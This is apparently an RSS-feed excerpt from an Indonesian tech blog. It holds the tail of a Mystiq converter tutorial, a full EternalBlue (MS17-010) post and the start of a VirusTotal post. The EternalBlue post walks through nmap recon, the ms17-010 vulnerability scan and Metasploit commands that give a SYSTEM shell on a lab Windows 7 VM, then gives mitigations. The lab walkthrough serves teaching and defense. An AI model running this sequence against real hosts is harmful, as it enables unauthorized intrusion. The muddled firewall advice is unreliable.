&lt;p&gt;Kurang lebih, berikut adalah tampilan atau interface dari Mystiq.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;994&quot; height=&quot;480&quot; src=&quot;/_astro/ss1.DoKjMOlA_1Mt39V.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Versi mystiq yang saya install adalah versi 20.03.18 karena dirilis pada tahun, bulan, dan tanggal 2020-03-18.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;466&quot; height=&quot;561&quot; src=&quot;/_astro/ss2.Bc56xQ5-_Z1Kly6K.webp&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Kehadiran aplikasi ini juga memudahkan kita untuk melakukan konversi file. Beberapa file yang dapat kita konversi melalui &lt;em&gt;tools&lt;/em&gt; mystiq ini antara lain ada&lt;/p&gt;
&lt;p&gt;(1) 3G2, (2) 3GP, (3) AC3, (4) AIFF, (5) ASF, (6) AU, (7) AVI, (8) DC, (9) VALC, (10) FLV, (11) M4A, (12) MKV, (13) MOV, (14) MP2, (15) MP3, (16) MP4, (17) MPG, (18) OGG, (19) OGV, (20) RM, (21) WAV, (22) WEBM, (23) WMA, (24) WMV.&lt;/p&gt;
&lt;p&gt;Tapi, sayangnya, dari 24 jenis file tersebut, belum ada GIF. Padahal, sebagai alasan personal, saya lebih banyak membutuhkan format file GIF, terutama untuk kepentingan membuat konten di personal blog saya di HUGO ini.&lt;/p&gt;
&lt;p&gt;Mengapa demikian? Karena sepanjang yang saya ketahui, memang, di &lt;em&gt;static-site&lt;/em&gt; seperti Hugo ini, kita terbatas hanya dapat melampirkan file dengan format gambar saja. Jika kita ingin melampirkan file video, kita perlu mengunggahnya terlebih dahulu ke server lain, misalnya Google Drive atau Youtube, untuk kemudian baru &lt;em&gt;link&lt;/em&gt; atau tautannya dilampirkan menggunakan &lt;em&gt;shortcode&lt;/em&gt;. Selain itu, saya juga biasa melakukan konversi file video ke GIF menggunakan FFmpeg. Jadi, jika Mystiq adalah aplikasi berbasis grafis dari  FFmpeg, harusnya format GIF juga di-&lt;em&gt;cover&lt;/em&gt; oleh aplikasi ini…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;But, anyway&lt;/em&gt;, itu saja menurut saya kekurangan dari aplikasi Mystiq ini sudah cukup untuk membantu &lt;em&gt;daily activity&lt;/em&gt; kita yang lain, misalnya mengkonversi file video musik dari Youtube ke file audio.&lt;/p&gt;
&lt;section&gt;&lt;h1&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Untuk instalasi Mystiq, dapat dilakukan di banyak distro, seperti&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;strong&gt;Distro&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Instalasi&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Repo&lt;/strong&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Debian*&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install mystiq&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.debian.org/search?searchon=contents&amp;amp;keywords=mystiq&amp;amp;mode=path&amp;amp;suite=stable&amp;amp;arch=any&quot; target=&quot;_blank&quot;&gt;https://packages.debian.org/search?searchon=contents&amp;amp;keywords=mystiq&amp;amp;mode=path&amp;amp;suite=stable&amp;amp;arch=any&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Arch*&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo yay -S mystiq&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://aur.archlinux.org/packages/mystiq&quot; target=&quot;_blank&quot;&gt;https://aur.archlinux.org/packages/mystiq&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;OpenSUSE&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in Mystiq&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://software.opensuse.org/package/MystiQ?search_term=mystiq&quot; target=&quot;_blank&quot;&gt;https://software.opensuse.org/package/MystiQ?search_term=mystiq&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;p&gt;[*] Debian dan turunannya (termasuk Ubuntu, dkk)&lt;/p&gt;&lt;p&gt;[*] Archlinux tidak menyediakan Mystiq dalam repo utamanya, jadi kita perlu menggunakan AUR &lt;em&gt;herlper&lt;/em&gt;, seperti yay, paru, pakku, dkk&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Demo Konversi File Video (webm) ke Audio (mp3)&lt;a href=&quot;#demo-konversi-file-video-webm-ke-audio-mp3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Instalasi selesai, sekarang, saya akan mendemokan proses konversi file video dengan format webm ke file audio dengan format mp3 menggunakan Mystiq.&lt;/p&gt;&lt;p&gt;Langkah-langkahnya, setidaknya secara umum ada 3:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Memilih file yang akan dikonversi&lt;/li&gt;
&lt;li&gt;Memilih jenis atau tipe file akhir&lt;/li&gt;
&lt;li&gt;Melakukan proses konversi&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah rekaman saya melakukan konversi file video (webm) ke file audio (mp3) dalam bentuk GIF (yang tidak saya lakukan dengan Mystiq, tapi dengan FFmpeg, hehe)…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;603&quot; src=&quot;/_astro/mystiq-demo.Bh3QgKOO_Z1nKaHn.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Oke, sekian dulu tutorial Mystiq kali ini.&lt;/p&gt;&lt;p&gt;Terima kasih sudah membaca, semoga membantu!&lt;/p&gt;&lt;p&gt;Sampai jumpa di tutorial yang lain :)&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/swl-x/MystiQ&quot; target=&quot;_blank&quot;&gt;https://github.com/swl-x/MystiQ&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/AUR_helpers&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/AUR_helpers&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Eternalblue (MS17-010) - SMBv1&apos;s Exploit</title><link>https://shangdi.github.io/posts/tech/eternalblue/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/eternalblue/</guid><description>EternalBlue is a computer exploit software developed by the U.S. National Security Agency (NSA). It is based on a vulnerability in Microsoft Windows that allowed users to gain access to any number of computers connected to a network.</description><pubDate>Thu, 21 Mar 2024 11:54:33 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h1&gt;Sejarah (Singkat)&lt;a href=&quot;#sejarah-singkat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Apa itu Eternalblue?&lt;/p&gt;&lt;p&gt;Eternalblue atau oleh Microsoft disebut dengan MS17-010 adalah sebuah &lt;a href=&quot;https://en.wikipedia.org/wiki/Exploit_(computer_security)&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;exploit&lt;/strong&gt;&lt;/a&gt; yang dapat digunakan untuk menyebarkan &lt;em&gt;&lt;strong&gt;malware&lt;/strong&gt;&lt;/em&gt; pada sebuah mesin Windows. Eternalblue adalah eksploit yang pada awalnya ditemukan oleh &lt;a href=&quot;https://www.nsa.gov/&quot; target=&quot;_blank&quot;&gt;NSA (&lt;em&gt;National Security Agency&lt;/em&gt;) Amerika Serikat&lt;/a&gt; untuk memanfaatkan kerentanan pada SMB v1 (&lt;em&gt;Server Message Block&lt;/em&gt; versi 1)  di Windows, terutama pada Windows 7 dan Windows XP.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Exploit ini tidak dilaporkan oleh NSA ke pihak Microsoft karena menguntungkan pihak NSA untuk melakukan mata-mata terhadap lawan-lawan politiknya. Ketika NSA mengetahui bahwa ternyata exploit tersebut sudah bocor (dicuri), Microsoft akhirnya mengumumkan &lt;em&gt;security pacthes&lt;/em&gt; terhadap kerentanan atau &lt;em&gt;vulnerability&lt;/em&gt; tersebut pada Maret 2017. Exploit tersebut dibocorkan kepada publik oleh sebuah kelompok &lt;em&gt;&lt;strong&gt;hacker&lt;/strong&gt;&lt;/em&gt; bernama &lt;a href=&quot;https://en.wikipedia.org/wiki/The_Shadow_Brokers&quot; target=&quot;_blank&quot;&gt;The Shadow Brokers&lt;/a&gt; pada April 2017. Segera setelah rilisnya exploit tersebut ke publik, pada May 2017, dilaporkan &lt;a href=&quot;https://en.wikipedia.org/wiki/WannaCry_ransomware_attack&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;ransomware&lt;/em&gt; Wannacry&lt;/a&gt; mulai menginfeksi banyak komputer di seluruh dunia menggunakan exploit Eternalblue tersebut&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Demo Exploitasi - Offensive&lt;a href=&quot;#demo-exploitasi---offensive&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Saya akan memberikan demo eksploitasi kerentanan SMBv1 ini menggunakan exploit Eternalblue (MS17-010) yang sudah terdapat dalam &lt;a href=&quot;https://www.metasploit.com/&quot; target=&quot;_blank&quot;&gt;Metasploit&lt;/a&gt;.
Secara singkat, Metasploit adalah sebuah &lt;em&gt;&lt;strong&gt;framework&lt;/strong&gt;&lt;/em&gt; berbasis &lt;a href=&quot;https://en.wikipedia.org/wiki/Open_source&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;open-source&lt;/em&gt;&lt;/a&gt; yang digunakan untuk &lt;em&gt;exploit development&lt;/em&gt; dan &lt;em&gt;vulnerability research&lt;/em&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;328&quot; src=&quot;/_astro/ss1.Dm55NHQX_2p25vh.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kita akan melakukan setidaknya 3 proses untuk melakukan eksploitasi, yaitu&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Recon&lt;/li&gt;
&lt;li&gt;Vulnerability Scanning, dan&lt;/li&gt;
&lt;li&gt;Exploitation&lt;/li&gt;
&lt;/ul&gt;&lt;section&gt;&lt;h2&gt;Recon&lt;a href=&quot;#recon&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Di sini, saya sudah memiliki sebuah mesin VM &lt;em&gt;(Virtual Machine)&lt;/em&gt; Windows 7 sebagai target yang akan dieksploitasi kerentanan SMB-nya.
Pada tahap ini, kita akan terlebih dahulu melakukan &lt;em&gt;reconnaissance&lt;/em&gt; atau pemeriksaan (atau dalam bahasa militernya adalah mata-mata) terhadap target yang akan dieskploitasi.
Hal yang perlu dipastikan dalam tahap dan konteks ini adalah bahwa &lt;strong&gt;&lt;em&gt;service&lt;/em&gt; SMBv1 berjalan di mesin target&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1086&quot; height=&quot;851&quot; src=&quot;/_astro/ss2.CdfYKWLa_Z15XMm9.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Saya akan menggunakan &lt;a href=&quot;https://nmap.org/&quot; target=&quot;_blank&quot;&gt;Nmap&lt;/a&gt; untuk melakukan proses recon ini.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmap&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-vv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-sV&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;192.168.0.120&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;result.nmap&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;893&quot; height=&quot;445&quot; src=&quot;/_astro/ss3.D76bwWgn_1d668E.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dari hasil Nmap tersebut, kita tahu bahwa &lt;em&gt;service&lt;/em&gt; SMB sedang &lt;em&gt;running&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Port &lt;em&gt;&lt;code&gt;139&lt;/code&gt;&lt;/em&gt; dan &lt;em&gt;&lt;code&gt;445&lt;/code&gt;&lt;/em&gt; adalah port default untuk menjalankan &lt;em&gt;service&lt;/em&gt; SMB ini.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;242&quot; src=&quot;/_astro/ss4.BSR9ByPK_1AfWKz.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Vulnerability Scanning&lt;a href=&quot;#vulnerability-scanning&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Setelah mengetahui bahwa target mesin tersebut (Windows 7) menjalankan SMB, sekarang, kita akan melakukan &lt;em&gt;vulnerability scanning&lt;/em&gt; untuk melihat, apakah SMB tersebut rentan untuk dieksploitasi.&lt;/p&gt;&lt;p&gt;Untuk tahap ini, saya lagi-lagi akan menggunakan Nmap dengan script &lt;code&gt;smb-vuln-ms17-101.nse&lt;/code&gt; yang juga terdapat di &lt;strong&gt;/usr/share/nmap/scripts&lt;/strong&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nmap&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-vv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-sV&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--script=smb-vuln-ms17-010.nse&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p139,445&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;192.168.0.120&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-o&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;vuln.nmap&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1260&quot; height=&quot;658&quot; src=&quot;/_astro/ss8.Db9LKJmn_ZkPtbF.webp&quot; /&gt;
Ya, berdasarkan hasil &lt;em&gt;scanning&lt;/em&gt; Nmap, kita tahu bahwa &lt;em&gt;service&lt;/em&gt; SMB tersebut rentan (&lt;em&gt;vulnerable&lt;/em&gt;) terhadap eksploitasi Eternalblue.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Exploitation&lt;a href=&quot;#exploitation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, kita akan melakukan eksploitasi terhadap kerentanan tersebut.
Saya akan menggunakan Metasploit sebagai &lt;em&gt;tools&lt;/em&gt; dalam melakukan tahap eksploitasi ini.&lt;/p&gt;&lt;p&gt;Pertama, kita dapat menjalankan Metasploit dengan mengetikkan perintah&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;msfconsole&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-q&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Selanjutnya, kita akan mencari modul eksploit Eternalblue dan menginputkan IP Address target mesin kita (Windows 7) ke opsi &lt;strong&gt;RHOSTS&lt;/strong&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;msf6&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;search&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;eternalblue&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;msf6&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;use&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;msf6&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;set&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rhosts&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;192.168.0.120&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1264&quot; height=&quot;464&quot; src=&quot;/_astro/ss9.itOh5m2X_Z2bV9zE.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kita bisa memastikan semua opsi untuk melakukan eksploitasi di modul Eternalblue (MS17-010) ini sudah terpenuhi dengan mengetikkan perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;msf6&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;options&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;830&quot; height=&quot;710&quot; src=&quot;/_astro/ss10.DQcgTHxY_1Tq9qV.webp&quot; /&gt;
Lingkaran yang berwarna merah adalah IP target kita (Windows 7). Adapun lingkaran yang berwarna hijau adalah IP mesin &lt;em&gt;attacker&lt;/em&gt; kita (Kali Linux).&lt;/p&gt;&lt;p&gt;Untuk memulai eksploitasi, kita dapat mengetikkan perintah&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;msf6&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;exploit&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;atau&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;msf6&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;run&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;932&quot; src=&quot;/_astro/ss11.BEoUrKuz_ZkLiQH.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Yapp, kita baru saja berhasil mengeksploitasi SMBv1 dengan eskploit Eternalblue (MS17-010)!!!&lt;/p&gt;&lt;p&gt;Ketika kita sudah mendapatkan shell tersebut (meterpreter), kita sebagai &lt;em&gt;attacker&lt;/em&gt; sudah dapat melakukan apa saja, mulai dari melakukan &lt;em&gt;screenshot&lt;/em&gt;, &lt;em&gt;screen recording&lt;/em&gt;, &lt;em&gt;camera recoding&lt;/em&gt;, dan lain-lain yang pada intinya, kita sudah seperti memiliki atau memegang komputer atau laptop dengan Windows 7 tersebut!&lt;/p&gt;&lt;p&gt;Apalagi, kalau diperhatikan, Eternalblue ini memberikan kita akses shell dengan &lt;em&gt;privilege&lt;/em&gt; yang tinggi (nt authority\system32) atau root jika di Linux. Artinya, kita benar-benar sudah menguasai mesin korban tersebut.&lt;/p&gt;&lt;p&gt;Dengan melihat kemudahan eksploitasinya dan dampak aksesnya, kita bisa menyimpulkan bahwa eksploit ini sangat berbahaya sekali, bukan?&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;Pencegahan - Defensive&lt;a href=&quot;#pencegahan---defensive&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Beberapa hal yang dapat kita lakukan sebagai tindakan preventif terhadap exploitasi Eternalblue ini di Windows 7 yaitu:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Mematikan &lt;em&gt;service&lt;/em&gt; SMBv1, apalagi jika kalian tidak sering (atau bahkan) tidak pernah menggunakan &lt;em&gt;service&lt;/em&gt; ini untuk &lt;em&gt;file sharing&lt;/em&gt;.
Cara menonaktifkan SMBv1 dapat dilakukan dengan mengetikkan perintah berikut di Powershell&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Set-ItemProperty&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;Path &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&quot;HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt; SMB1 &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;Type DWORD &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;Value &lt;/span&gt;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;Force&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Selain itu, kalian juga perlu memastikan Firewall tidak dihidupkan disembarang jaringan, apalagi jaringan publik. Kalau perlu, hidupkan saja firewallnya, baik di &lt;em&gt;private&lt;/em&gt; maupun di &lt;em&gt;public network&lt;/em&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1094&quot; height=&quot;856&quot; src=&quot;/_astro/ss12.DMQECDtA_aU1oc.webp&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Ok, sekian dulu untuk tutorial eksploitasi Eternalblue (MS17-010) kali ini.&lt;/p&gt;&lt;p&gt;Terima kasih!&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://nordvpn.com/blog/what-is-eternalblue/&quot; target=&quot;_blank&quot;&gt;https://nordvpn.com/blog/what-is-eternalblue/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/EternalBlue&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/EternalBlue&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/id-id/windows-server/storage/file-server/troubleshoot/detect-enable-and-disable-smbv1-v2-v3?tabs=server&quot; target=&quot;_blank&quot;&gt;https://learn.microsoft.com/id-id/windows-server/storage/file-server/troubleshoot/detect-enable-and-disable-smbv1-v2-v3?tabs=server&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Virustotal - A Virus Scanning Website.</title><link>https://shangdi.github.io/posts/tech/virustotal/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/virustotal/</guid><description>Analyse suspicious files, domains, IPs and URLs to detect malware and other breaches, automatically share them with the security community.</description><pubDate>Tue, 19 Mar 2024 14:43:27 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Overview&lt;a href=&quot;#overview&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.virustotal.com/gui/home/url&quot; target=&quot;_blank&quot;&gt;Virustotal&lt;/a&gt; adalah salah satu website terbaik untuk melakukan identifikasi terhadap suatu file/software/aplikasi dan url, apakah mengandung virus atau malware (&lt;em&gt;malicious software&lt;/em&gt;) atau tidak. Dengan kata lain, melalui bantuan website ini, kita dapat mengecek suatu file/software/aplikasi maupun suatu link/url apakah berbahaya atau tidak sebelum kita menginstallnya di device kita 